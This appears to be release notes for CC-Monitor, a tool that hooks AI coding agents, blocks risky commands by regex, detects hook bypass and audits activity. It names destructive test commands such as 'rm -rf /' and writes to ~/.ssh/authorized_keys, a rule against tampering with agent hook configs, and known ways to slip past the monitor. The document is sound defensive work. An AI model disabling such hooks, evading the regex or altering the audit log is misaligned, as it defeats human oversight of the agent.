agent_config_tamper: editing any agent's hook / config files (.codex/hooks.json, .gemini/settings.json, .cursor/hooks.json, .zcode/cli/config.json, .agents/hooks.json, opencode.json and the plugin dir, …) asks for confirmation — tampering with any agent's hook config switches off that agent's application-layer monitoring, which matters more with several agents. The regex is assembled from the registry at load time through an @registry: placeholder, so new agents need no rule edits. The history_read rules cover other agents' session dirs; kill_monitoring_process covers the OpenCode plugin file. Rule count 86 → 87.
How far each agent goes
- Claude Code ✅ verified — hooks + probe, long daily use, byte-identical behaviour to master.
- Antigravity CLI (
agy, Go) 🧪 experimental — thecc-monitorgroup in~/.gemini/config/hooks.json, PascalCase args ofrun_command/write_to_filemapped. One end-to-end round on 1.2.6 / 1.2.7 here:sudo pip installblocked, agy echoing "tool call denied by pre-tool hook";crontab -lwent through the approval desk, was allowed from the web page and ran; the probe attributed its commands to antigravity-cli and cross-checked them against hook records; AI Tap parses its transcript. That round surfaced 9 issues, all fixed: every command flagged as a "bypass" when launched from inside Claude Code (a nested agent is now its own root); the self-update probe file flagged as a cross-workdir write;PreInvocationfiring on every step and flooding empty events; the session cwd recorded as the scratch dir; a flat grey heartbeat (process ↔ session now matched by root pid); Anthropic account and quota still shown when selected (replaced by that agent's "account & environment" panel); the wrong account shown (both agents share~/.geminibut keep separate credentials — now read from agy's own oauth token); sessions declared ended because agy forks a short-lived same-named child per tool call (same-agent children are no longer roots); an empty model column (the transcript carries none, the hook'smodelNameis the fallback). The full record is in MULTI-AGENT.md §10. - Codex CLI 🧪 experimental —
~/.codex/hooks.json, protocol mirrors Claude Code's,apply_patchsplit per file; needs[features] hooks = trueinconfig.toml. Not installed, not tested. - Gemini CLI 🧪 experimental — hooks block in
~/.gemini/settings.json,run_shell_commandetc. mapped; installed here but the account is no longer eligible for this client (it points to Antigravity), so it could not run. - Cursor (IDE) 🧪 experimental —
~/.cursor/hooks.json;beforeShellExecution/beforeMCPExecution/beforeReadFilecan block,afterFileEditis log-only; the probe does not apply to an Electron IDE; whether Cursor's CLI runs hooks locally is untested. - OpenCode 🧪 experimental — JS plugin bridge
~/.config/opencode/plugins/cc-monitor.js, calls the hook synchronously intool.execute.before, exit 2 blocks. Not installed, not tested. - ZCode (Z.ai / GLM) 🧪 experimental —
hooks.eventsin~/.zcode/cli/config.json(type: process), protocol mirrors Claude Code's; the current version ignores project-level hooks. Not installed, not tested. - Grok CLI (superagent-ai) 🧪 experimental — hooks block in
~/.grok/user-settings.json, implemented from itssrc/hooks/source, exit 2 blocks. Never run. - OpenClacky (Ruby gem) 🧪 experimental — contributed by @leezii (PR #3):
~/.clacky/hooks.yml,before_tool_useuses the rewrite protocol and exit 2 blocks,after_tool_usecan only use the simple protocol and is log-only; the terminal tool'sinputinto an already-open shell — a real bypass path — is mapped to a command and goes through the rules; the process comm isruby, so the probe matches it by argv. Verified through the gem's ownShellHookLoader:rm -rf /and writes to~/.ssh/authorized_keysblocked; gem 1.5.15 is installed here andopenclacky hook_verifyreports both hooks OK, but running the agent needs its API key, so it has not been exercised in a real session. A double-escaped registry regex was fixed on merge (without it, editinghooks.ymlwould not trigger the tamper rule). - Aider / custom scripts 🧪 experimental — no hooks, probe only (by argv or explicit
run --); observed, not blockable.
How to try it, how to verify it, what is missing
- Check it out separately, leave master's install alone:
git worktree add ../CC-Monitor-dev dev, thenCC_MONITOR_HOME=$HOME/.cc-monitor-dev CC_MONITOR_WEBUI_PORT=9998 ./start.sh. Install other agents' hooks from the worktree (their config files are separate from Claude Code's) and launch those agents pointing at the dev data directory. Do not install a second hook for Claude Code itself — both would fire. - Verify an integration: have that agent run a command that must hit a high-risk rule (e.g.
rm -rf ~/nonexistent/..);CC-Monitor tailshould show an event tagged with that agent anddecision=blocked; the "hook" column ofCC-Monitor agentsturns to "installed". - Still to verify on a machine with the agent installed: Codex's hooks flag default and its
PermissionRequestformat; whether Gemini's{"decision":"allow"}skips its native prompt; whether Cursor's CLI runs hooks locally; OpenClacky in a real agent session (needs its API key); OpenCode's session directory and plugin timeout; the process name of ZCode's bundled desktop runtime; Grok CLI's actual stdin fields. - Not done: session-file parsing for Gemini / Cursor / OpenCode / Grok / OpenClacky; the network-traffic page does not follow the agent filter (the traffic table aggregates by IP + port and has no agent column); OpenClacky's
after_tool_useuses the simple protocol, which carries no session id, so post events land with an empty session; a TLS metadata layer, OpenTelemetry export,docker://binding; swapping the probe backend to BCC / libbpf to remove the restart window. - Docs: the dev branch README, MULTI-AGENT.md (usage / architecture / per-agent details / adding an agent / troubleshooting) and DESIGN-multi-agent.md (design, including the AgentSight analysis and what was borrowed) — both in Chinese.
Let's be clear about what it isn't
This is in the README too. I don't want anyone installing it and thinking they now have a sandbox.
Product boundaries
- Only sees what Claude Code initiates. Commands you type yourself, commands run with the
!prefix in the chat, and commands Claude asks you to run because sudo needs a password: none of those are in the audit log. That's the boundary, not a miss. - Interception is regex, not semantics. There's always a phrasing that slips through and always a normal command that gets caught. Danger described in natural language isn't recognised.
- The probe audits; it doesn't isolate. It flags a bypassed hook but won't stop it. Real sandboxing (Landlock / bubblewrap) is on the roadmap, not done.
- Web UI and claude must be the same OS user. Otherwise each writes its own
~/.cc-monitor/and the approvals and audit pages sit empty. There's a card on Home specifically for this. - confirm needs /dev/tty. CI and headless environments get a straight deny.
Rough edges
- Bypass detection is fuzzy matching. Under load, with the probe lagging,
verifymay take a moment to show the latest results. - Byte counts are TCP only. Both IPv4 and IPv6 TCP carry upload/download byte counts; UDP appears on the connection timeline with no byte counts.
- Location accuracy is whatever the free GeoIP database gives you. Mobile and CDN egress IPs often land on a data centre rather than the user. That's IP geolocation, not something I can fix.
- The audit log runs as the same user as the monitored process. In theory a same-user process could delete or alter it. Remote forwarding, append-only attributes and the like aren't done.
- The probe isn't a daemon. Started by hand with sudo; no systemd unit, no autostart.
- Not a single-file binary. Runs on the system Python; PyInstaller / Nuitka are on the TODO list.
Give it a go. If it's not for you, make uninstall
First thing after installing, run CC-Monitor rules and see what the defaults block. If something looks off, open an issue.